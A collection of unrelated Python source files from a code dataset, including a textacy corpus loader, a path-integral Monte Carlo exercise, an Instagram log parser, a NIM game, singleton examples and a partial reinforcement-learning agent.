'path/to/textacy/data/oxford_text_archive',\n 'description': 'Collection of ~2.7k Creative Commons texts from the Oxford Text Archive, containing primarily English-language 16th-20th century literature and history.',\n 'name': 'oxford_text_archive',\n 'site_url': 'https://ota.ox.ac.uk/'}\n\n Iterate over literary works as plain texts or records with both text and metadata::\n\n >>> for text in ota.texts(limit=5):\n ... print(text[:400])\n >>> for record in ota.records(limit=5):\n ... print(record['title'], record['year'])\n ... print(record['text'][:400])\n\n Filter literary works by a variety of metadata fields and text length::\n\n >>> for record in ota.records(author='Shakespeare, William', limit=1):\n ... print(record['year'], record['text'])\n >>> for record in ota.records(date_range=('1900-01-01', '2000-01-01'), limit=5):\n ... print(record['year'], record['author'])\n >>> for text in ota.texts(min_len=4000000):\n ... print(len(text))\n ... print(text[:200], '...')\n\n Stream literary works into a :class:`textacy.Corpus`::\n\n >>> text_stream, metadata_stream = textacy.io.split_records(\n ... ota.records(limit=10), 'text')\n >>> c = textacy.Corpus('en', texts=text_stream, metadatas=metadata_stream)\n >>> c\n Corpus(10 docs; 686881 tokens)\n\n Args:\n data_dir (str): Path to directory on disk under which dataset's file\n (\"ota-master.zip\") is stored.\n\n Attributes:\n min_date (str): Earliest date for which speeches are available, as an\n ISO-formatted string (\"YYYY-MM-DD\").\n max_date (str): Latest date for which speeches are available, as an\n ISO-formatted string (\"YYYY-MM-DD\").\n authors (Set[str]): Full names of all distinct authors included in this\n dataset, e.g. \"Shakespeare, William\".\n \"\"\"\n\n min_date = \"0018-01-01\"\n max_date = \"1990-01-01\"\n\n def __init__(self, data_dir=DATA_DIR):\n super(OxfordTextArchive, self).__init__(\n name=NAME, description=DESCRIPTION, site_url=SITE_URL, data_dir=data_dir\n )\n self._filename = os.path.join(data_dir, \"ota-master.zip\")\n try:\n self._metadata = self._load_and_parse_metadata()\n except IOError:\n pass\n\n @property\n def filename(self):\n \"\"\"\n str: Full path on disk for OxfordTextArchive data as a zip archive file.\n ``None`` if file is not found, e.g. has not yet been downloaded.\n \"\"\"\n if os.path.isfile(self._filename):\n return self._filename\n else:\n return None\n\n def download(self, force=False):\n \"\"\"\n Download the data as a zip archive file and save it to disk under the\n ``data_dir`` directory.\n\n Args:\n force (bool): If True, download the dataset, even if it already\n exists on disk under ``data_dir``.\n \"\"\"\n url = DOWNLOAD_ROOT\n fname = self._filename\n if os.path.isfile(fname) and force is False:\n LOGGER.warning(\"File %s already exists; skipping download...\", fname)\n return\n LOGGER.info(\"Downloading data from %s and writing it to %s\", url, fname)\n io.write_http_stream(\n url, fname, mode=\"wb\", encoding=None, make_dirs=True, chunk_size=1024\n )\n self._metadata = self._load_and_parse_metadata()\n\n def _load_and_parse_metadata(self):\n \"\"\"\n Read in ``metadata.tsv`` file from the :attr:`OxfordTextArchive.filename``\n zip archive; convert into a dictionary keyed by record ID; clean up some\n of the fields, and remove a couple fields that are identical throughout.\n \"\"\"\n if not self.filename:\n raise IOError(\"{} file not found\".format(self._filename))\n\n re_extract_year = re.compile(r\"(\\d{4})\")\n re_extract_authors = re.compile(\n r\"(\\D+)\"\n r\"(?:, \"\n r\"(?:[bdf]l?\\. )?(?:ca. )?\\d{4}(?:\\?| or \\d{1,2})?(?:-(?:[bdf]l?\\. )?(?:ca. )?\\d{4}(?:\\?| or \\d{1,2})?)?|\"\n r\"(?:\\d{2}th(?:/\\d{2}th)? cent\\.)\"\n r\"\\.?)\"\n )\n re_clean_authors = re.compile(r\"^[,;. ]+|[,.]+\\s*?$\")\n\n metadata = {}\n with zipfile.ZipFile(self._filename, mode=\"r\") as f:\n subf = StringIO(f.read(\"ota-master/metadata.tsv\").decode(\"utf-8\"))\n for row in compat.csv.DictReader(subf, delimiter=\"\\t\"):\n # only include English-language works (99.9% of all works)\n if not row[\"Language\"].startswith(\"English\"):\n continue\n # clean up years\n year_match = re_extract_year.search(row[\"Year\"])\n if year_match:\n row[\"Year\"] = year_match.group()\n else:\n row[\"Year\"] = None\n # extract and clean up authors\n authors = re_extract_authors.findall(row[\"Author\"]) or [row[\"Author\"]]\n row[\"Author\"] = [re_clean_authors.sub(\"\", author) for author in authors]\n # get rid of uniform \"Language\" and \"License\" fields\n del row[\"Language\"]\n del row[\"License\"]\n id_ = row.pop(\"ID\")\n metadata[id_] = {key.lower(): val for key, val in row.items()}\n\n # set authors attribute\n self.authors = {\n author\n for value in metadata.values()\n for author in value[\"author\"]\n if value.get(\"author\")\n }\n\n return metadata\n\n def texts(self, author=None, date_range=None, min_len=None, limit=-1):\n \"\"\"\n Iterate over works (text-only) in this dataset, optionally filtering\n by a variety of metadata and/or text length.\n\n Args:\n author (str or Set[str]): Filter texts by the authors' name;\n see :attr:`authors `.\n date_range (List[str] or Tuple[str]): Filter texts by the date on\n which it was published; both start and end date must be specified,\n but a null value for either will be replaced by the min/max date\n available in the dataset.\n min_len (int): Filter texts by the length (number of characters)\n of their text content.\n limit (int): Return no more than ``limit`` texts.\n\n Yields:\n str: Full text of next work in dataset passing all filter params.\n\n Raises:\n ValueError: If any filtering options are invalid.\n \"\"\"\n texts = self._iterate(True, author, date_range, min_len, limit)\n for text in texts:\n yield text\n\n def records(self, author=None, date_range=None, min_len=None, limit=-1):\n \"\"\"\n Iterate over works (including text and metadata) in this dataset,\n optionally filtering by a variety of metadata and/or text length.\n\n Args:\n author (str or Set[str]): Filter records by the authors' name;\n see :attr:`authors `.\n date_range (List[str] or Tuple[str]): Filter records by the date on\n which it was published; both start and end date must be specified,\n but a null value for either will be replaced by the min/max date\n available in the dataset.\n min_len (int): Filter records by the length (number of characters)\n of their text content.\n limit (int): Yield no more than ``limit`` records.\n\n Yields:\n dict: Text and metadata of next work in dataset passing all\n filter params.\n\n Raises:\n ValueError: If any filtering options are invalid.\n \"\"\"\n records = self._iterate(False, author, date_range, min_len, limit)\n for record in records:\n yield record\n\n def _iterate(self, text_only, author, date_range, min_len, limit):\n \"\"\"\n Low-level method to iterate over the records in this dataset. Used by\n :meth:`OxfordTextArchive.texts()` and :meth:`OxfordTextArchive.records()`.\n \"\"\"\n if not self.filename:\n raise IOError(\"{} file not found\".format(self._filename))\n\n if author:\n if isinstance(author, compat.string_types):\n author = {author}\n if not all(item in self.authors for item in author):\n raise ValueError(\n \"all values in `author` must be valid; \"\n \"see :attr:`CapitolWords.authors`\"\n )\n if date_range:\n date_range = self._parse_date_range(date_range)\n\n n = 0\n with zipfile.ZipFile(self.filename, mode=\"r\") as f:\n for name in f.namelist():\n\n # other stuff in zip archive that isn't a text file\n if not name.startswith(\"ota-master/text/\"):\n continue\n id_ = os.path.splitext(os.path.split(name)[-1])[0]\n meta = self._metadata.get(id_)\n # this is actually just the \"ota-master/text/\" directory\n if not meta:\n continue\n # filter by metadata\n if date_range:\n if (\n not meta.get(\"year\")\n or not date_range[0] <= meta[\"year\"] <= date_range[1]\n ):\n continue\n if author:\n if not meta.get(\"author\") or not any(\n a in author for a in meta[\"author\"]\n ):\n continue\n text = f.read(name).decode(\"utf-8\")\n if min_len and len(text) < min_len:\n continue\n\n if text_only is True:\n yield text\n else:\n meta[\"text\"] = text\n yield meta\n\n n += 1\n if n == limit:\n break\n","sub_path":"venv/Lib/site-packages/textacy/datasets/oxford_text_archive.py","file_name":"oxford_text_archive.py","file_ext":"py","file_size_in_byte":11941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"167073298","text":"import numpy\nimport numpy as np\nimport h5py\nimport pylab\nimport CalcStatistics\nfrom Histogram import *\n\ndef HarmonicOscillator(pos,mass=1.0,omega=1.0):\n pot = 0.5 * mass * omega**2 * np.dot(pos,pos)\n return pot\n#return the harmonic oscillator\n# potential for a single particle at position r1\n\n\ndef ZeroFunction(slice):\n return 0.0\n\ndef ReadArray(fname):\n io = open(fname, 'r')\n line = io.readline()\n if (line[0] != '#'):\n print('Error in ReadArray!')\n exit()\n splitline = line.split()[1:]\n dim = []\n for i in splitline:\n dim.append (int(i))\n dimtuple = tuple(dim)\n\n data = numpy.loadtxt(fname)\n return data.reshape(dimtuple)\n\nclass PathClass:\n def __init__(self,beads,tau,lam):\n self.tau=tau\n self.lam=lam\n self.beads=beads.copy()\n self.NumTimeSlices=len(beads)\n self.NumParticles=len(beads[0])\n self.NumDimensions=beads.shape[2]\n print(self)\n def __str__(self):\n rep = \"I have setup the path with a temperature of %6.4f and %d particles.\" % \\\n (1.0/(self.tau*self.NumTimeSlices),self.NumParticles)\n return rep\n def beta(self):\n return self.tau*self.NumTimeSlices\n def SetCouplingConstant(self,c):\n self.c=c\n def SetPotential(self,externalPotentialFunction):\n self.VextHelper=externalPotentialFunction\n def Vee(self,R):\n # you will write this\n # using self.c\n return 0.0\n def Vext(self,R):\n return self.VextHelper(R)\n def KineticAction(self,slice1,slice2):\n tot = np.sum(\n np.power(\n np.linalg.norm(\n self.beads[slice2]-self.beads[slice1],\n axis=1),\n 2))\n tot /= (4 * self.lam * self.tau)\n # you will fill this in\n return tot\n def KineticActionParticle(self,slice1,slice2,particle):\n tot = np.power(\n np.linalg.norm(\n self.beads[slice2,particle]-self.beads[slice1,particle]),\n 2)\n tot /= (4 * self.lam * self.tau)\n # you will fill this in\n return tot\n def PotentialAction(self,slice1,slice2):\n r1 = np.linalg.norm(self.beads[slice1], axis=1)\n r2 = np.linalg.norm(self.beads[slice2], axis=1)\n tot = 0.0\n tot += np.sum([self.Vext(ri) for ri in r1])\n tot += np.sum([self.Vext(ri) for ri in r2])\n tot /= 2.0\n tot *= self.tau\n # you will fill this in\n return tot\n def PotentialActionTotal(self):\n tot = 0.0\n for slice in self.beads:\n for ri in np.linalg.norm(slice, axis=1):\n tot += self.Vext(ri)\n tot *= self.tau\n # you will fill this in\n return tot\n def RelabelBeads(self):\n slicesToShift=random.randint(0,self.NumTimeSlices-1)\n l=list(range(slicesToShift,len(self.beads)))+list(range(0,slicesToShift))\n self.beads=self.beads[l].copy()\n def KineticEnergy(self):\n # computes kinetic energy\n # dx,dy,dz between consecutive slices\n #dxyz = self.beads - np.roll(self.beads,1,axis=0)\n # |dr| between consecutive slices\n #dr = np.linalg.norm(dxyz,axis=2)\n dr = np.linalg.norm(self.beads - np.roll(self.beads,1,axis=0),axis=2)\n # |dR|\n dR = np.linalg.norm(dr,axis=1)\n # sqrt(sum(dR**2))\n dRtot = np.linalg.norm(dR)\n\n KE=0.0\n KE += 3*self.NumParticles/(2*self.tau)\n# KE -= np.power(\n# np.linalg.norm(\n# self.beads - np.roll(self.beads,1,axis=0),\n# axis=(0,1,2)),\n# 2)/(4*self.lam*self.NumTimeSlices*self.tau**2)\n KE -= (dRtot**2 / (4*self.lam*self.NumTimeSlices*(self.tau**2)))\n# print(KE)\n return KE\n def PotentialEnergy(self):\n # computes potential energy\n PE=0.0\n for islice in range(self.NumTimeSlices):\n for iptcl in range(self.NumParticles):\n PE += self.Vext(self.beads[islice,iptcl,:])\n return PE/(self.NumTimeSlices+0.0)\n def Energy(self):\n return self.PotentialEnergy()+self.KineticEnergy()\n @staticmethod\n def draw_beads_3d(ax,beads):\n \"\"\" draw all beads in 3D\n Inputs:\n ax: matplotlib.Axes3D object\n beads: 3D numpy array of shape (nslice,nptcl,ndim)\n Output:\n ptcls: a list of pairs of plot objects. There is ony entry for each particle. Each entry has two items: line representing the particle and text labeling the particle.\n Effect:\n draw all particles on ax \"\"\"\n \n nslice,nptcl,ndim = beads.shape\n com = beads.mean(axis=0) # center of mass of each particle, used to label the particles only\n \n ptcls = []\n for iptcl in range(nptcl):\n mypos = beads[:,iptcl,:] # all time slices for particle iptcl\n pos = np.insert(mypos,0,mypos[-1],axis=0) # close beads\n \n line = ax.plot(pos[:,0],pos[:,1],pos[:,2],marker='o') # draw particle\n text = ax.text(com[iptcl,0],com[iptcl,1],com[iptcl,2],'ptcl %d' % iptcl,fontsize=20) # label particle\n ptcls.append( (line,text) )\n return ptcls\n\nfrom numpy import *\ndef PIMC(numSteps, Path, moveList, name='test'):\n observableSkip=10\n printSkip=1000\n EnergyTrace=[]\n numAccept = zeros((len(moveList)),int)\n configs=[]\n# PD = PathDump(name+'PathDump.h5')\n for steps in range(0,numSteps):\n for mi in range(0,len(moveList)):\n if (moveList[mi](Path)):\n numAccept[mi] += 1\n if steps % observableSkip==0 and steps>1000:\n EnergyTrace.append(Path.Energy())\n if steps % printSkip == 0:\n print(\"step:{:10d} acc. ratio: {:1.3f}\".format(steps,numAccept[mi]/steps))\n configs.append(Path.beads)\n# PairCorrelationFunction(Path,PairHistogram)\n# CalcDensity(Path,DensityHistogram)\n# PD.dump(Path)\n# for mi in range(0,len(moveList)):\n# print('Accept ratio = %1.3f' % ((numAccept[mi]+0.0)/numSteps))\n print(CalcStatistics.Stats(numpy.array(EnergyTrace)))\n pylab.plot(EnergyTrace)\n pylab.savefig(name+\"Energy.png\")\n with h5py.File(\"beads.h5\",\"w\") as hf:\n dset = hf.create_dataset(\"beads\",data=configs)\n with h5py.File(\"energy.h5\",\"w\") as hf:\n dset = hf.create_dataset(\"energy\",data=EnergyTrace)\n# numpy.save(\"test1.npz\",EnergyTrace)\n# numpy.savez(\"test2.npz\",EnergyTrace)\n# numpy.savez_compressed(\"test3.npz\",EnergyTrace)\n# PairHistogram.plotMeNorm(name+\"PairCorrelation.png\")\n# DensityHistogram.plotMe(name+\"Density.png\")\n pylab.show()\n\n#PIMC.py\ndef SingleSliceMove(Path,sigma=0.1):\n Path.RelabelBeads()\n #add your things here\n\n #choose particle to move\n particle = np.random.randint(0,Path.NumParticles)\n #evaluate old action\n s_old_k = Path.KineticActionParticle(0,1,particle)\n s_old_k += Path.KineticActionParticle(2,1,particle)\n s_old_v = Path.PotentialAction(1,1)\n\n s_old = s_old_k + s_old_v\n\n #save old positions\n old_slice = Path.beads[1,particle].copy()\n# print(old_slice)\n\n #move slice\n Path.beads[1,particle] += 2*sigma*(np.random.random(old_slice.shape[0]) - 0.5)\n# print(Path.beads[1,particle])\n #evaluate new action\n s_new_k = Path.KineticActionParticle(0,1,particle)\n s_new_k += Path.KineticActionParticle(2,1,particle)\n s_new_v = Path.PotentialAction(1,1)\n\n s_new = s_new_k + s_new_v\n\n #evaluate acceptance probability\n p_accept = np.exp( -(s_new - s_old))\n accepted = True\n \n #accept/reject\n if p_accept < np.random.random():\n Path.beads[1,particle] = old_slice\n accepted = False\n\n #make sure to remember if you reject the move, to restore the old location of the coordinates\n return accepted #accepted # return true if accepted, otherwise return false\ndef WholeSliceMove(Path,sigma=0.1):\n Path.RelabelBeads()\n #add your things here\n\n #evaluate old action\n s_old_k = Path.KineticAction(0,1)\n s_old_k += Path.KineticAction(2,1)\n s_old_v = Path.PotentialAction(1,1)\n\n s_old = s_old_k + s_old_v\n\n #save old positions\n old_slice = Path.beads[1].copy()\n\n #move slice\n Path.beads[1] += 2*sigma*(np.random.random(old_slice.shape) - 0.5)\n \n #evaluate new action\n s_new_k = Path.KineticAction(0,1)\n s_new_k += Path.KineticAction(2,1)\n s_new_v = Path.PotentialAction(1,1)\n\n s_new = s_new_k + s_new_v\n\n #evaluate acceptance probability\n p_accept = np.exp( -(s_new - s_old))\n accepted = True\n \n #accept/reject\n if p_accept < np.random.random():\n Path.beads[1] = old_slice\n accepted = False\n\n #make sure to remember if you reject the move, to restore the old location of the coordinates\n return accepted #accepted # return true if accepted, otherwise return false\n\ndef DisplaceMove(Path):\n # First, compute the total potential action for all time slices.\n s_old = Path.PotentialActionTotal()\n # This move won't change the kinetic action, so you don't need to compute it\n # Don't forget the link action from the last slice back to the first!\n # Save a copy of the old path\n savePath = Path.beads.copy()\n # Now, create a random vector for displacement\n #delta = 4.0*numpy.array([random.random()-0.5, random.random()-0.5, random.random()-0.5])\n delta = 4.0*(numpy.random.random(Path.NumDimensions) - 0.5)\n # move all the time slices\n Path.beads += delta[np.newaxis,np.newaxis,:]\n # Compute the new potential action\n s_new = Path.PotentialActionTotal()\n # Accept or reject based on the change in potential action\n p_accept = np.exp( -(s_new - s_old))\n accepted = True\n \n #accept/reject\n if p_accept < np.random.random():\n Path.beads = savePath.copy()\n accepted = False\n # Remember to copy back savePath if you reject\n # Remember to return True if you accept and False if you reject\n return accepted\n","sub_path":"pimc/bclark/option2/PIMC.py","file_name":"PIMC.py","file_ext":"py","file_size_in_byte":10100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"111676353","text":"from src.database_manager.domains.mysql.MySQLConnection import MySQLConnection\nfrom src.utils.FileParser import FileParser\nfrom src.utils.constants import MITM_PROXY_INSTAGRAM_LOG_DIRECTORY\nfrom src.utils.SkeletonBuilder import SkeletonBuilder\nimport json\n\n\nclass InstagramDataTransporter:\n \"\"\"\n Summary:\n --------\n The purpose of the InstagramDataTransporter is to transport data across multiple mediums. The only use case (at\n this time) is parsing data from a file and saving it to the database.\n\n Process:\n --------\n 1. Read contents from file (return list(strings))\n 2. Parse contents (return list(dicts))\n 3. Analyze each data item:\n 3a. Filter data items based\n 3b. Group similar data items\n 3c. Save data items to database\n \"\"\"\n\n def __init__(self) -> None:\n self.file_parser = FileParser()\n self.file_parser.set_directory_path(MITM_PROXY_INSTAGRAM_LOG_DIRECTORY)\n\n self.mysql_connection = MySQLConnection()\n self.mysql_connection.connect('localhost', 'root', 'root')\n \n self.skeleton_builder = SkeletonBuilder()\n \n def transport_file_data_to_mysql_database(self):\n data = self.get_latest_file_data()\n\n hashtag_and_user_data = self.get_hashtags_from_data(data)\n posts_data = self.get_posts_from_data(data)\n\n self.mysql_connection\n \n def group_responses_by_skeleton(self, responses):\n groups = []\n\n def group_responses(self, responses):\n hashtag_and_users_data = []\n posts_data = []\n related_users_data = []\n unkown_data = []\n\n for response in responses:\n if self.response_contains_hashtag_and_users_data(response['response']):\n hashtag_and_users_data.append(response)\n elif self.response_contains_posts_data(response['response']):\n posts_data.append(response)\n elif self.response_contains_related_users_data(response['response']):\n related_users_data.append(response)\n else:\n unkown_data.append(response)\n \n return {\n 'hashtag_and_users_data': hashtag_and_users_data,\n 'unkown_data': unkown_data,\n 'posts_data': posts_data,\n 'related_users_data': related_users_data\n }\n \n def response_contains_related_users_data(self, response):\n try:\n return 'edge_chaining' in response['user']['data']\n except:\n return False\n \n def response_contains_hashtag_and_users_data(self, response):\n try:\n return 'hashtags' in response and 'users' in response\n except:\n return False\n\n def response_contains_posts_data(self, response):\n try:\n return 'edge_web_feed_timeline' in response['data']['user']\n except:\n return False\n\n def get_instagram_responses(self):\n contents = self.file_parser.get_contents_from_files_in_directory()\n parsed_json_contents = self.parse_json_contents(contents)\n\n return parsed_json_contents\n \n def parse_json_contents(self, contents):\n parsed_json_contents = []\n \n for content_item in contents:\n data_item = {}\n data_item['metadata'] = content_item['metadata']\n data_item['response'] = json.loads(content_item['response'])\n parsed_json_contents.append(data_item)\n\n return parsed_json_contents\n \n def filter_response_data(self, response_data):\n\n bad_responses = [\n {\n 'checksum': '',\n 'config': '',\n 'config_owner_id': '',\n 'app_data': '{}',\n 'qpl_version': ''\n },\n {\n 'status': 'ok'\n }\n ]\n \n filtered_response_data = []\n\n for response_data_point in response_data:\n if response_data_point['response'] not in bad_responses:\n filtered_response_data.append(response_data_point)\n \n return filtered_response_data\n","sub_path":"src/data_transporter/domains/InstagramDataTransporter.py","file_name":"InstagramDataTransporter.py","file_ext":"py","file_size_in_byte":3665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"445092345","text":"def computador_escolhe_jogada(n, m):\n \n valor_computador = m\n i = 1\n\n while(i <= m):\n\n if((n - i) % (m+1) == 0 ):\n valor_computador = i\n\n i = i + 1\n\n return valor_computador\n\n\ndef usuario_escolhe_jogada(n, m):\n \n retirada_usuario = int(input(\"\\nQuantas peças você vai tirar: \"))\n\n continua = True\n while(continua):\n if(retirada_usuario <= m and retirada_usuario > 0):\n continua = False\n else:\n print(\"\\nOops! Jogada inválida! Tente de novo.\\n\")\n retirada_usuario = int(input(\"\\nQuantas peças você vai tirar: \"))\n\n return retirada_usuario\n\ndef jogo():\n \n n = int(input(\"\\nTotal de peças: \"))\n m = int(input(\"Máximo de peças por jogada: \"))\n\n if(n % (m+1) == 0):\n print(\"\\nVocê comeca!\")\n\n while(n > 0):\n\n pecas_usuario = usuario_escolhe_jogada(n, m)\n print(\"\\nVocê tirou {} peça(s)\".format(pecas_usuario))\n n = n - pecas_usuario\n \n if(n > 0):\n\n print(\"\\nAgora restam {} peça(s) no tabuleiro\".format(n))\n\n pecas_computador = computador_escolhe_jogada(n, m)\n print(\"\\nComputador tirou {} peça(s)\".format(pecas_computador))\n n = n - pecas_computador\n\n if(n > 0):\n \n print(\"\\nAgora restam {} peça(s) no tabuleiro\".format(n))\n \n else:\n print(\"\\nFim do jogo! Computador ganhou\")\n\n else:\n print(\"\\nComputador começa!\")\n while(n > 0):\n\n pecas_computador = computador_escolhe_jogada(n, m)\n print(\"\\nComputador tirou {} peça(s)\".format(pecas_computador))\n n = n - pecas_computador\n \n if(n > 0):\n\n print(\"\\nAgora restam {} peças no tabuleiro\".format(n))\n\n pecas_usuario = usuario_escolhe_jogada(n, m)\n print(\"\\nVocê tirou {} peça(s)\\n\".format(pecas_usuario))\n n = n - pecas_usuario\n\n print(\"\\nAgora restam {} peças no tabuleiro\".format(n))\n\n else:\n print(\"\\nFim do jogo! Computador ganhou\")\n\ndef partida():\n\n print(\"Bem vindo ao jogo do NIM! Escolha:\")\n print(\"\\n1 - para jogar uma partida isolada\\n2 - para jogar um campeonato\")\n\n escolha = int(input())\n\n if(escolha == 1):\n jogo()\n elif(escolha == 2):\n i = 1\n while(i <= 3):\n print(\"**** Rodada {} ****\".format(i))\n jogo()\n i = i + 1\n print(\"**** Final do campeonato! ****\\n\\nPlacar: Você 0 X 3 Computador\")\n\npartida()","sub_path":"Parte - I/Semana - 6/jogo_nim.py","file_name":"jogo_nim.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"576793898","text":"\n# Python中用于生成类的类,我们称之为元类\nclass Singleton(type):\n def __init__(cls, *args, **kwargs):\n cls.__instance = None\n super().__init__(*args, **kwargs)\n\n def __call__(cls, *args, **kwargs):\n if cls.__instance is None:\n cls.__instance = super().__call__(*args, **kwargs)\n return cls.__instance\n\nclass Logger(metaclass=Singleton):\n def __init__(self, name, *args, **kwargs):\n self.name = name\n print(\"Init completely!\")\n\n\nlogger1 = Logger(name=\"test\")\nlogger2 = Logger(name=\"test2\")\n\nprint(logger1.name, id(logger1))\nprint(logger1 is logger2)\nprint(logger2.name, id(logger2))\n\n# 利用类new方法控制示例的生成实现单例模式\nclass MyClass(object):\n def __new__(cls, *args, **kwargs):\n if not hasattr(cls, \"instance\"):\n cls.instance = super(MyClass, cls).__new__(cls)\n return cls.instance\n\n def __init__(self, name):\n self.name = name\n\n\nb = MyClass(\"hello\")\nprint(b.name)\nc = MyClass(\"hahahha\")\nprint(id(b), id(c), b.name, c.name)\n\n\n# 利用装饰器实现单例模式\ndef singleton(cls):\n instance = {}\n print(instance)\n def geninstance(*args, **kwargs):\n if cls not in instance:\n instance[cls] = cls(*args, **kwargs)\n return instance[cls]\n return geninstance\n@singleton\nclass MyClass(object):\n def __init__(self, name):\n self.name = name\n\nb = MyClass(\"hello\")\nprint(b.name)\nc = MyClass(\"hahahha\")\nprint(id(b), id(c), b.name, c.name)\n\n","sub_path":"games/singleton.py","file_name":"singleton.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"106145331","text":"# System imports\nfrom distutils.core import setup\n#import platform\nimport sys\n#from os.path import join as pjoin\n\n# Version number\nmajor = 0\nminor = 1\n\nsetup(name=\"waterscape\",\n version = \"{0}.{1}\".format(major, minor),\n description = \"\"\"\n An adjointable multiple-network poroelasticity solver\n \"\"\",\n author = \"Eleonora Piersanti, Marie E. Rognes\",\n author_email = \"eleonora@simula.no\",\n packages = [\"mpet\"],\n package_dir = {\"mpet\": \"mpet\"},\n )\n","sub_path":"src/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"347564651","text":"from config.settings.base import *\n\n\n# #########################\n\n# REST_FRAMEWORK = {\n# # \"DEFAULT_PERMISSION_CLASSES\": (\n# # \"rest_framework.permissions.IsAuthenticated\",\n# # ),\n# 'DEFAULT_AUTHENTICATION_CLASSES': (\n# # \"rest_framework_jwt.authentication.JSONWebTokenAuthentication\",\n# 'rest_framework.authentication.TokenAuthentication',\n# ),\n# }\n\nDEBUG = True\n\nMEDIA_ROOT = Path(BASE_DIR, \"media\")\n\nSTATIC_ROOT = Path(BASE_DIR, \"static\")\n\nALLOWED_HOSTS = ['*']\n","sub_path":"wao/config/settings/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"121569570","text":"import time\nfrom abc import ABC, abstractmethod\n\nfrom utility.auxilliary import MultiSearchEvaluationFunctions\n\n\nclass Agent(ABC):\n\t\"\"\"\n\tThis class defines a generic Agent.\n\tAn agent can be `pacman` or the `ghosts`. An agent only provides the next action given the\n\tcurrent state.\n\t\"\"\"\n\n\tdef __init__(self, agent_idx = 0):\n\t\tself.agent_idx = agent_idx\n\n\tdef register_initial_state(self, game_state):\n\t\tpass\n\n\t@abstractmethod\n\tdef get_action(self, game_state):\n\t\t\"\"\"\n\t\tGiven a GameState, returns the next action to be taken (direction to move in)\n\t\t\"\"\"\n\t\traise NotImplementedError()\n\n\nclass MultiAgentSearchAgent(Agent):\n\tdef __init__(self, evaluation_function_name = MultiSearchEvaluationFunctions.ScoreEvaluationFunc.name,\n\t depth: str = '2'):\n\t\tsuper(MultiAgentSearchAgent, self).__init__(agent_idx = 0)\n\n\t\tself.evaluation_function = MultiSearchEvaluationFunctions[evaluation_function_name].value\n\t\tself.depth = int(depth)\n\n\t@abstractmethod\n\tdef get_action(self, game_state):\n\t\tpass\n\n\nclass ReinforcementLearningAgent(Agent):\n\t\"\"\"\n\tAssigns values to (state, action) Q-Values for an environment. As well as a value to a\n\tstate and a policy given respectively by,\n\n\tV(s) = max_{a in actions} Q(s,a)\n\tpolicy(s) = arg_max_{a in actions} Q(s,a)\n\n\t\"\"\"\n\n\tdef __init__(self, action_function = None, alpha = 1.0, epsilon = 0.05, gamma = 0.8, num_training = 10):\n\t\t\"\"\"\n\t\tSets options, which can be passed in via the Pacman command line using\n\t\t\talpha - learning rate\n\t\t\tepsilon - exploration rate\n\t\t\tgamma - discount factor\n\t\t\tnum_training - number of training episodes, i.e. no learning after these many episodes\n\t\t\"\"\"\n\n\t\tsuper().__init__()\n\n\t\tif action_function is None:\n\t\t\taction_function = lambda state: state.get_legal_actions()\n\n\t\tself.action_function = action_function\n\t\tself.episodes_so_far = 0\n\t\tself.cumulative_train_rewards = 0.0\n\t\tself.cumulative_test_rewards = 0.0\n\t\tself.num_training = int(num_training)\n\t\tself.epsilon = float(epsilon)\n\t\tself.alpha = float(alpha)\n\t\tself.discount = float(gamma)\n\t\tself.last_state = None\n\t\tself.last_action = None\n\t\tself.episode_rewards = 0.0\n\n\t\tself.last_window_collected_rewards = None\n\t\tself.episode_start_time = None\n\n\t# To be overridden\n\t@abstractmethod\n\tdef get_q_value(self, state, action):\n\t\t\"\"\"\n\t\tShould return Q(state,action)\n\t\t\"\"\"\n\t\traise NotImplementedError()\n\n\t@abstractmethod\n\tdef get_value(self, state):\n\t\t\"\"\"\n\t\tV(s) = max_{a in actions} Q(s,a)\n\t\t\"\"\"\n\t\traise NotImplementedError()\n\n\t@abstractmethod\n\tdef get_policy(self, state):\n\t\t\"\"\"\n\t\tpolicy(s) = arg_max_{a in actions} Q(s,a)\n\t\t\"\"\"\n\t\traise NotImplementedError()\n\n\t@abstractmethod\n\tdef get_action(self, state):\n\t\t\"\"\"\n\t\tstate: can call state.get_legal_actions()\n\t\tChoose an action and return it.\n\t\t\"\"\"\n\t\traise NotImplementedError()\n\n\t@abstractmethod\n\tdef update(self, state, action, next_state, reward):\n\t\t\"\"\"\n\t\tCalled after one step in the game with the reward.\n\t\t\"\"\"\n\t\traise NotImplementedError()\n\n\tdef get_legal_actions(self, state):\n\t\t\"\"\"\n\t\tGet the actions available for a given state.\n\t\t\"\"\"\n\t\treturn self.action_function(state)\n\n\tdef observe_transition(self, state, action, next_state, delta_reward):\n\t\t\"\"\"\n\t\tCalled by environment to inform agent that a transition has\n\t\tbeen observed.\n\t\t\"\"\"\n\t\tself.episode_rewards += delta_reward\n\t\tself.update(state, action, next_state, delta_reward)\n\n\tdef start_episode(self):\n\t\t\"\"\"\n\t\tCalled by environment when new episode is starting\n\t\t\"\"\"\n\t\tself.last_state = None\n\t\tself.last_action = None\n\t\tself.episode_rewards = 0.0\n\n\tdef stop_episode(self):\n\t\t\"\"\"\n\t\tCalled by environment when episode is done\n\t\t\"\"\"\n\n\t\tif self.episodes_so_far < self.num_training:\n\t\t\tself.cumulative_train_rewards += self.episode_rewards\n\t\telse:\n\t\t\tself.cumulative_test_rewards += self.episode_rewards\n\n\t\tself.episodes_so_far += 1\n\t\tif self.episodes_so_far >= self.num_training:\n\t\t\t# Take off the training wheels\n\t\t\tself.epsilon = 0.0 # no exploration\n\t\t\tself.alpha = 0.0 # no learning\n\n\tdef is_in_training(self):\n\t\treturn self.episodes_so_far < self.num_training\n\n\tdef is_in_testing(self):\n\t\treturn not self.is_in_training()\n\n\t###################\n\t# Pacman Specific #\n\t###################\n\tdef observation_function(self, 